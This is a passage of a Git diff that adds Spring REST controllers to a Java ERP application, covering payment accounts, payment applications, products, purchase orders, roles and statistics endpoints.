map.put("account", paymentAccount.getAccount());
|
||||
list.add(map);
|
||||
}
|
||||
|
||||
return RespData.success(new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
public RespData save(PaymentAccount paymentAccount) {
|
||||
paymentAccountService.save(paymentAccount);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/changeBalance")
|
||||
public RespData changeBalance(Long id, BigDecimal amount) {
|
||||
PaymentAccount paymentAccount = paymentAccountService.find(id);
|
||||
paymentAccount.setBalance(amount);
|
||||
paymentAccountService.update(paymentAccount);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/view")
|
||||
public RespData view(Long id) {
|
||||
PaymentAccount paymentAccount = paymentAccountService.find(id);
|
||||
return RespData.success(paymentAccount);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import com.vverp.util.DateUtil;
|
||||
import com.vverp.dto.PaymentApplyQuery;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.moli.util.Filter;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.*;
|
||||
import com.vverp.util.MapUtils;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/9/15 4:41 下午
|
||||
*/
|
||||
@RestController("apiPaymentApplyController")
|
||||
@RequestMapping("/api/paymentApply")
|
||||
public class PaymentApplyController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private PaymentApplyService paymentApplyService;
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderService purchaseOrderService;
|
||||
|
||||
|
||||
@RequestMapping("/create")
|
||||
public RespData create(PaymentApply paymentApply) {
|
||||
Admin admin = adminService.getApp();
|
||||
paymentApply.setAdminId(admin.getId());
|
||||
return respDataWithHandle(() -> paymentApplyService.create(paymentApply));
|
||||
}
|
||||
|
||||
@RequestMapping("/createSeparate")
|
||||
public RespData createSeparate(PaymentApply paymentApply) {
|
||||
Admin admin = adminService.getApp();
|
||||
paymentApply.setAdminId(admin.getId());
|
||||
Department department = admin.getDepartment();
|
||||
if (department == null) {
|
||||
return RespData.error("部门为空");
|
||||
}
|
||||
paymentApply.setDepartmentId(department.getId());
|
||||
return respDataWithHandle(() -> paymentApplyService.selfCreate(paymentApply));
|
||||
}
|
||||
|
||||
@RequestMapping("/list")
|
||||
public RespData list(PaymentApplyQuery query, Pageable pageable, Boolean separate) {
|
||||
query.setContractRequired(!separate);
|
||||
query.setApprovalFailed(false);
|
||||
Page<PaymentApply> page = paymentApplyService.findPage(pageable, query);
|
||||
List<Map<String, Object>> list = getMapList(page.getContent());
|
||||
return RespData.success(new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
}
|
||||
|
||||
@RequestMapping("/listAll")
|
||||
public RespData listAll(PaymentApplyQuery query) {
|
||||
List<PaymentApply> paymentApplyList = paymentApplyService.findList(query);
|
||||
List<Map<String, Object>> list = getMapList(paymentApplyList);
|
||||
return RespData.success(list);
|
||||
}
|
||||
|
||||
private List<Map<String, Object>> getMapList(List<PaymentApply> paymentApplyList) {
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (PaymentApply paymentApply : paymentApplyList) {
|
||||
Map<String, Object> map = MapUtils.beansToMap(paymentApply, Arrays.asList(
|
||||
"id", "companyName", "ownerName", "adminName", "amount", "status", "paymentType"
|
||||
));
|
||||
map.put("applyDate", DateUtil.formatDate(paymentApply.getApplyDate()));
|
||||
list.add(map);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
@RequestMapping("/view")
|
||||
public RespData separateList(Long id) {
|
||||
PaymentApply paymentApply = paymentApplyService.find(id);
|
||||
Map<String, Object> map = MapUtils.beansToMap(paymentApply, Arrays.asList(
|
||||
"id", "companyName", "ownerName", "adminName", "amount", "status", "paymentType", "type", "ownerId",
|
||||
"companyId", "departmentName", "bankName", "bankAccount", "remark", "amountCn", "receivePayment"
|
||||
));
|
||||
map.put("applyDate", DateUtil.formatDate(paymentApply.getApplyDate()));
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/initInfo")
|
||||
public RespData initInfo(Long id, PaymentApply.Type type) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
|
||||
OrderBase orderBase = new OrderBase();
|
||||
|
||||
if (type.equals(PaymentApply.Type.purchaseOrder)) {
|
||||
orderBase = purchaseOrderService.find(id);
|
||||
map.put("bankType", "supplier");
|
||||
}
|
||||
|
||||
map.put("ownerId", orderBase.getOwnerId());
|
||||
map.put("ownerName", orderBase.getOwnerName());
|
||||
map.put("departmentId", orderBase.getDepartmentId());
|
||||
map.put("departmentName", orderBase.getDepartmentName());
|
||||
map.put("companyId", orderBase.getCompanyId());
|
||||
map.put("companyName", orderBase.getCompanyName());
|
||||
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
}
|
||||
161
src/main/java/com/vverp/controller/api/ProductController.java
Normal file
161
src/main/java/com/vverp/controller/api/ProductController.java
Normal file
@@ -0,0 +1,161 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import com.vverp.dto.CommonRankDTO;
|
||||
import com.vverp.dto.OrderInfo;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.service.*;
|
||||
import org.apache.commons.lang.StringUtils;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import javax.annotation.Resource;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
|
||||
import java.math.BigDecimal;
|
||||
import java.util.*;
|
||||
|
||||
|
||||
@RestController("apiProductController")
|
||||
@RequestMapping("/api/product")
|
||||
public class ProductController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private ProductService productService;
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderItemService purchaseOrderItemService;
|
||||
|
||||
@Resource
|
||||
private ProductTypeService productTypeService;
|
||||
|
||||
@Resource
|
||||
private SnInfoService snInfoService;
|
||||
|
||||
@RequestMapping(value = "/list", method = RequestMethod.GET)
|
||||
public RespData list(Pageable pageable) {
|
||||
Page<Product> page = productService.findPage(pageable);
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (Product product : page.getContent()) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", product.getId());
|
||||
map.put("name", product.getName());
|
||||
map.put("categoryName", product.getProductType().getName());
|
||||
// map.put("retailPrice", product.getRetailPrice());
|
||||
map.put("taxPrice", product.getTaxPrice());
|
||||
list.add(map);
|
||||
}
|
||||
return RespData.success(new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/simple", method = RequestMethod.GET)
|
||||
public RespData simple() {
|
||||
return RespData.success(productService.findSimpleList());
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/view", method = RequestMethod.GET)
|
||||
public RespData view(Long id) {
|
||||
Product product = productService.find(id);
|
||||
if (product == null){
|
||||
return RespData.error("没有该商品");
|
||||
}
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", product.getId());
|
||||
map.put("name", product.getName());
|
||||
map.put("code", product.getCode());
|
||||
// map.put("retailPrice", product.getRetailPrice());
|
||||
map.put("categoryName", product.getProductType().getName());
|
||||
map.put("categoryId", product.getProductType().getId());
|
||||
map.put("taxPrice", product.getTaxPrice());
|
||||
map.put("purchasePrice", product.getPurchasePrice());
|
||||
map.put("purchaseTaxPrice", product.getPurchaseTaxPrice());
|
||||
map.put("baseMaterial", product.getBaseMaterial());
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/category")
|
||||
public RespData category() {
|
||||
List<ProductType> productTypes = productTypeService.findAll();
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (ProductType productType : productTypes) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", productType.getId());
|
||||
map.put("name", productType.getName());
|
||||
list.add(map);
|
||||
}
|
||||
return RespData.success(list);
|
||||
}
|
||||
|
||||
@RequestMapping("/statistics")
|
||||
public RespData statistics(Date startDate, Date endDate) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
OrderInfo purchaseInfo = purchaseOrderItemService.analyze(startDate, endDate);
|
||||
map.put("purchaseCount", purchaseInfo.getNumber());
|
||||
map.put("purchaseAmount", purchaseInfo.getAmount());
|
||||
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
|
||||
@RequestMapping("/save")
|
||||
public RespData save(Product product, Long category) {
|
||||
if (StringUtils.isEmpty(product.getName())) {
|
||||
return RespData.error("商品名称不能为空");
|
||||
}
|
||||
|
||||
ProductType productType = productTypeService.find(category);
|
||||
if (productType == null) {
|
||||
return RespData.error("商品类别不存在");
|
||||
}
|
||||
|
||||
// Warehouse warehouseEntity = warehouseService.find(warehouse);
|
||||
// if (warehouseEntity == null) {
|
||||
// return RespData.error("仓库不存在");
|
||||
// }
|
||||
|
||||
// Product product = new Product();
|
||||
// product.setName(name);
|
||||
product.setProductType(productType);
|
||||
// product.setWarehouse(warehouseEntity);
|
||||
// product.setRetailPrice(retailPrice);
|
||||
// product.setCode(snInfoService.generate(SnInfo.Type.product));
|
||||
try {
|
||||
productService.saveProduct(product);
|
||||
}catch (Exception e){
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
public RespData update(Product product, Long category) {
|
||||
ProductType productType = productTypeService.find(category);
|
||||
if (productType == null) {
|
||||
return RespData.error("商品类别不存在");
|
||||
}
|
||||
|
||||
product.setProductType(productType);
|
||||
try {
|
||||
productService.updateProduct(product);
|
||||
}catch (Exception e){
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/selectList")
|
||||
public RespData selectList() {
|
||||
List<Product> products = productService.findAll();
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (Product product : products) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", product.getId());
|
||||
map.put("name", product.getName());
|
||||
map.put("category", product.getProductType().getName());
|
||||
map.put("retailPrice", product.getRetailPrice() != null ? product.getRetailPrice() : BigDecimal.ZERO);
|
||||
list.add(map);
|
||||
}
|
||||
return RespData.success(list);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,214 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import com.vverp.util.DateUtil;
|
||||
import com.vverp.base.Setting;
|
||||
import com.vverp.dto.OrderQuery;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.enums.OrderStatus;
|
||||
import com.vverp.form.OrderForm;
|
||||
import com.vverp.form.PurchaseOrderForm;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.*;
|
||||
import org.springframework.beans.BeanUtils;
|
||||
import org.springframework.web.bind.annotation.RequestBody;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.math.BigDecimal;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/1/10 3:41 下午
|
||||
*/
|
||||
@RestController("apiPurchaseOrderController")
|
||||
@RequestMapping("/api/purchaseOrder")
|
||||
public class PurchaseOrderController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@Resource
|
||||
private ProductService productService;
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderService purchaseOrderService;
|
||||
|
||||
@Resource
|
||||
private AttachFileService attachFileService;
|
||||
|
||||
@RequestMapping(value = "/save", method = RequestMethod.POST)
|
||||
public RespData save(@RequestBody PurchaseOrderForm form) {
|
||||
return respDataWithHandle(() -> {
|
||||
PurchaseOrder purchaseOrder = fromForm(form);
|
||||
purchaseOrderService.savePurchaseOrder(purchaseOrder);
|
||||
});
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/update", method = RequestMethod.POST)
|
||||
public RespData update(@RequestBody PurchaseOrderForm form) {
|
||||
return respDataWithHandle(() -> {
|
||||
PurchaseOrder purchaseOrder = fromForm(form);
|
||||
PurchaseOrder source = purchaseOrderService.find(form.getId());
|
||||
purchaseOrderService.updatePurchaseOrder(purchaseOrder);
|
||||
if (source.getStatus().equals(OrderStatus.approved)) {
|
||||
purchaseOrderService.approveApplyForEdit(source);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/list", method = RequestMethod.GET)
|
||||
public RespData list(Pageable pageable, OrderQuery orderQuery) {
|
||||
Admin admin = adminService.getApp();
|
||||
orderQuery.setVisibleCompanyIdsStr(admin.getVisibleCompanyIdsStr());
|
||||
orderQuery.setVisibleDepartmentIdsStr(admin.getVisibleDepartmentIdsStr());
|
||||
Page<PurchaseOrder> page = purchaseOrderService.findPage(pageable, orderQuery);
|
||||
List<Map<String, Object>> list = getMapList(page.getContent());
|
||||
return RespData.success(new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/listAll", method = RequestMethod.GET)
|
||||
public RespData listAll(OrderQuery orderQuery) {
|
||||
List<PurchaseOrder> purchaseOrderList = purchaseOrderService.findList(orderQuery);
|
||||
List<Map<String, Object>> list = getMapList(purchaseOrderList);
|
||||
return RespData.success(list);
|
||||
}
|
||||
|
||||
public List<Map<String, Object>> getMapList(List<PurchaseOrder> purchaseOrderList) {
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (PurchaseOrder purchaseOrder : purchaseOrderList) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", purchaseOrder.getId());
|
||||
map.put("sn", purchaseOrder.getSn());
|
||||
map.put("supplierId", purchaseOrder.getOwnerId());
|
||||
map.put("supplierName", purchaseOrder.getOwnerName());
|
||||
map.put("amount", purchaseOrder.getTotalAmount());
|
||||
map.put("status", purchaseOrder.getStatus().getName());
|
||||
map.put("createDate", DateUtil.formatDate(purchaseOrder.getCreateDate()));
|
||||
list.add(map);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
@RequestMapping(value = "view", method = RequestMethod.GET)
|
||||
public RespData view(Long id) {
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", purchaseOrder.getId());
|
||||
map.put("sn", purchaseOrder.getSn());
|
||||
map.put("supplierName", purchaseOrder.getOwnerName());
|
||||
map.put("amount", purchaseOrder.getTotalAmount());
|
||||
map.put("count", purchaseOrder.getTotalCount());
|
||||
map.put("orderDate", DateUtil.formatDate(purchaseOrder.getOrderDate()));
|
||||
map.put("contractDeadline", DateUtil.formatDate(purchaseOrder.getContractDeadline()));
|
||||
map.put("creator", purchaseOrder.getAdminName());
|
||||
map.put("status", purchaseOrder.getStatus());
|
||||
map.put("departmentId", purchaseOrder.getDepartmentId());
|
||||
map.put("departmentName", purchaseOrder.getDepartmentName());
|
||||
map.put("companyId", purchaseOrder.getCompanyId());
|
||||
map.put("companyName", purchaseOrder.getCompanyName());
|
||||
map.put("deliveryType", purchaseOrder.getDeliveryType() != null ? purchaseOrder.getDeliveryType().getName() : "");
|
||||
map.put("deliveryTypeValue", purchaseOrder.getDeliveryType());
|
||||
map.put("remark", purchaseOrder.getRemark());
|
||||
map.put("ownerId", purchaseOrder.getOwnerId());
|
||||
map.put("ownerName", purchaseOrder.getOwnerName());
|
||||
map.put("adminName", purchaseOrder.getAdminName());
|
||||
map.put("adminId", purchaseOrder.getAdminId());
|
||||
map.put("payMethod", purchaseOrder.getPayMethod());
|
||||
map.put("lossType", purchaseOrder.getLossType() != null ? purchaseOrder.getLossType().getName() : "");
|
||||
map.put("lossTypeValue", purchaseOrder.getLossType());
|
||||
map.put("contractType", purchaseOrder.getContractType() != null ? purchaseOrder.getContractType().getName() : "");
|
||||
map.put("contractValue", purchaseOrder.getContractType());
|
||||
map.put("reservoir", purchaseOrder.getReservoir().getName());
|
||||
map.put("reservoirValue", purchaseOrder.getReservoir());
|
||||
map.put("settlement", purchaseOrder.getSettlement());
|
||||
map.put("settlementAmount", purchaseOrder.getSettlementAmount());
|
||||
map.put("amountPayable", purchaseOrder.getAmountPayable());
|
||||
map.put("rationalLossRatio", purchaseOrder.getRationalLossRatio());
|
||||
map.put("writeAddress", purchaseOrder.getWriteAddress());
|
||||
map.put("attachFiles", attachFileService.getMapList(purchaseOrder.getAttachFileIds()));
|
||||
map.put("internationalTradeFlag", purchaseOrder.getInternationalTradeFlag());
|
||||
map.put("tariffs", purchaseOrder.getTariffs());
|
||||
map.put("exchangeRate", Setting.getData().getUsdToCnyExchange().add(new BigDecimal("0.06")));
|
||||
map.put("pricingDiscount", purchaseOrder.getPricingDiscount());
|
||||
map.put("agencyFee", purchaseOrder.getAgencyFee());
|
||||
map.put("miscellaneousFee", purchaseOrder.getMiscellaneousFee());
|
||||
map.put("pickupCount", purchaseOrder.getPickupCount());
|
||||
map.put("pickupBarrel", purchaseOrder.getPickupBarrel());
|
||||
map.put("pickupDate", DateUtil.formatDate(purchaseOrder.getPickupDate()));
|
||||
map.put("letterCreditDate", DateUtil.formatDate(purchaseOrder.getLetterCreditDate()));
|
||||
map.put("letterCreditAmount", purchaseOrder.getLetterCreditAmount());
|
||||
map.put("letterCreditAcceptanceDate", DateUtil.formatDate(purchaseOrder.getLetterCreditAcceptanceDate()));
|
||||
map.put("letterCreditFee", purchaseOrder.getLetterCreditFee());
|
||||
map.put("zijStartDate", DateUtil.formatDate(purchaseOrder.getZijStartDate()));
|
||||
map.put("zijRate", purchaseOrder.getZijRate());
|
||||
map.put("zijTakeUpMoney", purchaseOrder.getZijTakeUpMoney());
|
||||
map.put("zijInterest", purchaseOrder.getZijInterest());
|
||||
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (PurchaseOrderItem item : purchaseOrder.getPurchaseOrderItemList()) {
|
||||
Map<String, Object> data = new HashMap<>();
|
||||
data.put("id", item.getProductId());
|
||||
data.put("name", item.getName());
|
||||
data.put("price", item.getTaxPrice());
|
||||
data.put("count", item.getCount());
|
||||
data.put("itemId", item.getId());
|
||||
data.put("realName", item.getRealName());
|
||||
list.add(data);
|
||||
}
|
||||
map.put("list", list);
|
||||
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/approve")
|
||||
public RespData approve(Long id) {
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
try {
|
||||
purchaseOrderService.approve(purchaseOrder);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/statistics")
|
||||
public RespData statistics(Pageable pageable, OrderQuery query) {
|
||||
Page<PurchaseOrder> page = purchaseOrderService.findPage(pageable, query);
|
||||
List<Map<String, Object>> list = purchaseOrderService.statistics(page.getContent());
|
||||
return RespData.success(new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
}
|
||||
|
||||
private PurchaseOrder fromForm(PurchaseOrderForm form) {
|
||||
PurchaseOrder purchaseOrder = new PurchaseOrder();
|
||||
BeanUtils.copyProperties(form, purchaseOrder);
|
||||
purchaseOrder.setId(form.getId());
|
||||
|
||||
Admin admin = adminService.getApp();
|
||||
purchaseOrder.setAdminId(admin.getId());
|
||||
purchaseOrder.setAdminName(admin.getName());
|
||||
|
||||
if (purchaseOrder.getReservoir() == null) {
|
||||
throw new RuntimeException("库区不能为空");
|
||||
}
|
||||
List<PurchaseOrderItem> list = new ArrayList<>();
|
||||
for (OrderForm.Item item : form.getList()) {
|
||||
PurchaseOrderItem purchaseOrderItem = new PurchaseOrderItem();
|
||||
BeanUtils.copyProperties(item, purchaseOrderItem);
|
||||
purchaseOrderItem.setId(item.getItemId());
|
||||
Product product = productService.find(item.getProductId());
|
||||
purchaseOrderItem.setProductId(product.getId());
|
||||
purchaseOrderItem.setTaxPrice(item.getPrice());
|
||||
purchaseOrderItem.setRealName(item.getRealName());
|
||||
purchaseOrderItem.setCount(item.getCount());
|
||||
list.add(purchaseOrderItem);
|
||||
}
|
||||
purchaseOrder.setPurchaseOrderItemList(list);
|
||||
return purchaseOrder;
|
||||
}
|
||||
|
||||
}
|
||||
103
src/main/java/com/vverp/controller/api/RoleController.java
Normal file
103
src/main/java/com/vverp/controller/api/RoleController.java
Normal file
@@ -0,0 +1,103 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import cn.hutool.core.io.FileUtil;
|
||||
import cn.hutool.core.util.StrUtil;
|
||||
import cn.hutool.json.JSONUtil;
|
||||
import com.google.common.collect.Lists;
|
||||
import com.google.common.collect.Maps;
|
||||
import com.vverp.util.MapUtils;
|
||||
import jdk.nashorn.api.scripting.ScriptObjectMirror;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.script.ScriptEngine;
|
||||
import javax.script.ScriptEngineManager;
|
||||
import javax.script.ScriptException;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.entity.Role;
|
||||
import com.vverp.service.RoleService;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@RestController("apiRoleController")
|
||||
@RequestMapping("/api/role")
|
||||
public class RoleController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private RoleService roleService;
|
||||
|
||||
@RequestMapping(value = "/list", method = RequestMethod.GET)
|
||||
public RespData list(Pageable pageable) {
|
||||
Page<Role> page = roleService.findPage(pageable);
|
||||
return RespData.success(page);
|
||||
}
|
||||
|
||||
@RequestMapping("/view")
|
||||
public RespData view(Long id) {
|
||||
Role role = roleService.find(id);
|
||||
Map<String, Object> map = MapUtils.beansToMap(role, "id", "name", "chineseName", "description");
|
||||
map.put("authoritiesStr", JSONUtil.toJsonStr(role.getAuthorities()));
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
public RespData save(Role role, String authoritiesStr) {
|
||||
role.setIsSystem(false);
|
||||
if (StrUtil.isNotBlank(authoritiesStr)) {
|
||||
List<String> authorities = JSONUtil.toList(JSONUtil.parseArray(authoritiesStr), String.class);
|
||||
role.setAuthorities(authorities);
|
||||
}
|
||||
return RespData.success(roleService.save(role));
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
public RespData update(Role role, String authoritiesStr) {
|
||||
if (StrUtil.isNotBlank(authoritiesStr)) {
|
||||
List<String> authorities = JSONUtil.toList(JSONUtil.parseArray(authoritiesStr), String.class);
|
||||
role.setAuthorities(authorities);
|
||||
}
|
||||
return RespData.success(roleService.update(role, "isSystem", "admins"));
|
||||
}
|
||||
|
||||
@RequestMapping("/permissionData")
|
||||
public RespData permissionData(HttpServletRequest request) throws ScriptException {
|
||||
String path = request.getServletContext().getRealPath("/resources/js/permissionData.js");
|
||||
path = path.replaceAll("/", File.separator);
|
||||
ScriptEngineManager manager = new ScriptEngineManager();
|
||||
ScriptEngine engine = manager.getEngineByName("js");
|
||||
String script = FileUtil.readUtf8String(path);
|
||||
engine.eval(script);
|
||||
Object permissions = engine.get("permissions");
|
||||
return RespData.success(convertIntoJavaObject(permissions));
|
||||
}
|
||||
|
||||
private static Object convertIntoJavaObject(Object scriptObj) {
|
||||
if (scriptObj instanceof ScriptObjectMirror) {
|
||||
ScriptObjectMirror scriptObjectMirror = (ScriptObjectMirror) scriptObj;
|
||||
if (scriptObjectMirror.isArray()) {
|
||||
List<Object> list = Lists.newArrayList();
|
||||
for (Map.Entry<String, Object> entry : scriptObjectMirror.entrySet()) {
|
||||
list.add(convertIntoJavaObject(entry.getValue()));
|
||||
}
|
||||
return list;
|
||||
} else {
|
||||
Map<String, Object> map = Maps.newHashMap();
|
||||
for (Map.Entry<String, Object> entry : scriptObjectMirror.entrySet()) {
|
||||
map.put(entry.getKey(), convertIntoJavaObject(entry.getValue()));
|
||||
}
|
||||
return map;
|
||||
}
|
||||
} else {
|
||||
return scriptObj;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import cn.hutool.core.date.DateField;
|
||||
import com.vverp.util.DateUtil;
|
||||
import com.vverp.dto.OrderInfo;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.enums.TransportType;
|
||||
import com.vverp.moli.util.Filter;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.*;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.math.BigDecimal;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/1/13 11:49 上午
|
||||
*/
|
||||
@RestController("/apiStatisticController")
|
||||
@RequestMapping("/api/statistic")
|
||||
public class StatisticController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private StatisticService statisticService;
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderService purchaseOrderService;
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderItemService purchaseOrderItemService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public RespData list() {
|
||||
Calendar calendar = Calendar.getInstance();
|
||||
calendar.add(Calendar.DAY_OF_YEAR, -1);
|
||||
Date endDate = calendar.getTime();
|
||||
calendar.add(Calendar.MONTH, -1);
|
||||
Date startDate = calendar.getTime();
|
||||
List<Statistic> list = statisticService.analyze(Statistic.Period.day, startDate, endDate);
|
||||
return RespData.success(list);
|
||||
}
|
||||
|
||||
@RequestMapping("/index")
|
||||
public RespData index() {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
|
||||
OrderInfo purchaseInfo = purchaseOrderService.analyze(null, null, null);
|
||||
|
||||
map.put("purchaseCount", purchaseInfo.getCount());
|
||||
map.put("purchaseAmount", purchaseInfo.getAmount());
|
||||
|
||||
map.put("purchaseItemCount", purchaseOrderItemService.analyze(null, null).getNumber());
|
||||
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user